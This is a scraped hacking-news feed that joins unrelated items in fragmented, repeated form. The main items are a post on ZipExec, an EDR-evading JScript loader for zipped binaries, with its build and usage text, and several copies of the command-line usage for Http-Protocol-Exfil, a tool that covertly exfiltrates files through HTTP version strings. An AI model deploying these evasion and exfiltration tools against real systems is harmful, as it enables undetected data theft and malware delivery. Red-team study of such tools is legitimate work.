Black Hat Ethical Hacking
Offensive Security Tool: ZipExec

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: ZipExecPost Views: 16 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 2 Minutes

Offensive Security Tool: ZipExec GitHub Link ZipExecZipExec by Tylous, is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded into a string that is rebuilt on disk. This encoded string is then loaded into a JScript file that when executed, would rebuild the password-protected zip file on disk and execute it. This is done programmatically by using COM objects to access the GUI-based functions in Windows via the generated JScript loader, executing the loader inside the password-protected zip without having to unzip it first. By password protecting the zip file, it protects the binary from EDRs and disk-based or anti-malware scanning mechanisms.

As you can see, this is a unique technique to execute binaries from a password protected zip helping the digital forensics team, and offensive security team to use in their field.
https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/68747470733a2f2f6d656469612e67697068792e636f6d2f6d656469612f596b6d347870354e6e4d6c7a396f684a62432f67697068792e676966.gif
See Also: All Windows versions impacted by new LPE zero-day vulnerability InstallationThe first step as always is to clone the repo. Before you compile ZipExec you’ll need to install the dependencies. To install them, run the following commands:
go get github.com/yeka/zip

Then build it

go build ZipExec.go

or

go get github.com/Tylous/ZipExec
See Also: Hacking stories – Operation Troy – How researchers linked the cyberattacks Help./ZipExec -h

__________.__ ___________
\____ /|__|_____\_ _____/__ ___ ____ ____
/ / | \____ \| __)_\ \/ // __ \_/ ___\
/ /_ | | |_> > \> <\\___ >
\/ |__| \/ \/ \/ \/
(@Tyl0us) Usage of ./ZipExec:
-I string
Path to the file containing binary to zip.
-O string
Name of output file (e.g. loader.js)
-sandbox
Enables sandbox evasion using IsDomainedJoined.See Also: Offensive Security Tool: Dalfox Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/carbon-2048x1374-1-90x90.png OSINT Tool: Osintgram1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/dalfox-90x90.png Offensive Security Tool: Dalfox2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/unknown-90x90.png Offensive Security Tool: Whispers3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/Screenshot_20211001_133045-90x90.png Offensive Security Tool: URL Hunter4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unknown-90x90.png Offensive Security Tool: Discover1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/116777794-e9447880-aaa0-11eb-9697-af5f5617b279-90x90.png Offensive Security Tool: SniperPhish1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/jenkins-90x90.png Offensive Security Tool: Jenkins Attack Framework2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/pegasus-90x90.png Offensive Security Tool: Pegasus Spyware – Decompiled2 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/FIbbZME-90x90.png Offensive Security Tool: Starkiller2 months ago
* https://www.blackhat[...]

___________________________
@hacking_Attack
@Hacking_Video

ethicalhacking.com/wp-content/uploads/2021/08/0URVvVK54SOsx1MEq-90x90.png Offensive Security Tool: FFUF2 months ago
The post Offensive Security Tool: ZipExec first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Root Me — TryHackMe

Welcome back amazing hackers in this blog I came with another interesting topic RootMe walkthrough which is based on file upload and…Continue reading on Medium »
Read more...

Root Me — TryHackMe
https://mukibas37.medium.com/root-me-tryhackme-36bcfe49fd22?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Welcome back amazing hackers in this blog I came with another interesting topic RootMe walkthrough which is based on file upload and…Continue reading on Medium » (https://mukibas37.medium.com/root-me-tryhackme-36bcfe49fd22?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).Create listenerTo run the listener use listener.py with one optional argument: the port it will be listening in.python3 listener.py PORTExample:python3 listener.py 8080Send a fileTo send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).python3 sender.py -u URL -i INPUTFILE -o OUTPUTFILEExample:python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txtExampleFirst the file is sent:If the variable debug is set to True (it is by default) you can see the binary values in the listener log messages:The new file is created with the content of the input file:MotivationI think (I am not sure) I read someone on Twitter who claimed to have used this to exfiltrate data and I liked the idea, if you are that person let me know.Download Http-Protocol-Exfil
Read more...

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
A cyberattack paralyzed every gas station in Iran

https://external-preview.redd.it/7Z_K12rR3Sq0KZFWcPwkXAghnDl6iEZ7anXN1Gm5Pk0.jpg?width=640&crop=smart&auto=webp&s=6e3bf02fbc59de404e205e46302824088e84b275 submitted by /u/eis3nheim
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HackTheBox | Vaccine

https://cdn-images-1.medium.com/max/1280/0*g6XeDE6S9oeiv_Fr.jpg
If you think October is only the spooky month, well you’re wrong! October is also known as Cyber Security Month!.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)
http://www.kitploit.com/2021/10/http-protocol-exfil-exfiltrate-files.html

___________________________
@hacking_Attack
@Hacking_Video

Use the HTTP protocol version to send a file bit by bit ("HTTP/1.0" is a 0 and "HTTP/1.1" is a 1). It uses GET requests so the Blue Team (https://www.kitploit.com/search/label/Blue%20Team) would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB, and the amount of requests would be very high (8 times the number of bytes of the file).
Create listener
To run the listener (https://www.kitploit.com/search/label/Listener) use listener.py with one optional argument: the port it will be listening in.python3 listener.py [PORT]
Example:python3 listener.py 8080

Send a file
To send a file use sender.py with two mandatory arguments: the file path and the url of the listener; and one optional argument: the name of the file created remotely (if not used, the name of the input file is used).python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Example:python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Example
First the file is sent:

___________________________
@hacking_Attack
@Hacking_Video

If the variable debug is set to True (it is by default) you can see the binary (https://www.kitploit.com/search/label/Binary) values in the listener log messages:

___________________________
@hacking_Attack
@Hacking_Video

The new file is created with the content of the input file:

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Http-Protocol-Exfil - Exfiltrate Files Using The HTTP Protocol Version ("HTTP/1.0" Is A 0 And "HTTP/1.1" Is A 1)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Finding the Right Approach to Cloud Security Posture Management (CSPM)

Cloud security is maturing — it has to. New strategies are surfacing to respond to new problems. Dr. Mike Lloyd, RedSeal's CTO, reviews one of the latest: CSPM.

___________________________
@hacking_Attack
@Hacking_Video